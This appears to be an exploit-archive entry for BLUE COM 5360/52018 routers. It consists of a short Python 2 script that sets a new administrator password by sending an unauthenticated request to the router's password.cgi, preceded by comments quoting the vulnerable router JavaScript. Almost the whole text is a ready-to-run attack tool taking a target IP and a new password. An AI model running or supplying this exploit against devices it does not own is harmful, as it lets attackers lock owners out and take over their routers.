BLUE COM Router 5360/52018 – Password Reset
# Exploit Title: BLUE COM Router - 5360/52018 Password Reset Exploit # Date: 20/1/2013 # Exploit Author: KAI (kaisai12) # Home: CEH.VN # Version: BCOM - 5360 # vulnerability - change password easy ! no protect ! #var loc = 'password.cgi?'; #switch ( idx ) { # case 2: # loc += 'sptPassword=' + encodeUrl(pwdNew.value); # break; # case 3: # loc += 'usrPassword=' + encodeUrl(pwdNew.value); # break; # default: # loc += 'sysPassword=' + encodeUrl(pwdNew.value); # break; # } # # var code = 'location="' + loc + '"'; # eval(code); # } #} import urllib import sys def attackrouter(ip,password): try: params = urllib.urlencode({'sysPassword': str(password)}) f = urllib.urlopen("http://"+ip+"/password.cgi?%s" % params) print "[+] IP: %s - Reset password: %s" % (ip,password) return except: print "[-] error" def main(): if len(sys.argv) > 2: ip = sys.argv[1] password = sys.argv[2] print "--------------------------------------------------" print "Router BCOM Exploit Execute Reset password modem " print " author: KAI(CEH>VN) " print "--------------------------------------------------" print "[+] Sending exploit: OK" attackrouter(ip,password) else: print "[-] Command error" print "[-] Use:bluecomRT.py <ip> <password>" if __name__ == '__main__': main() |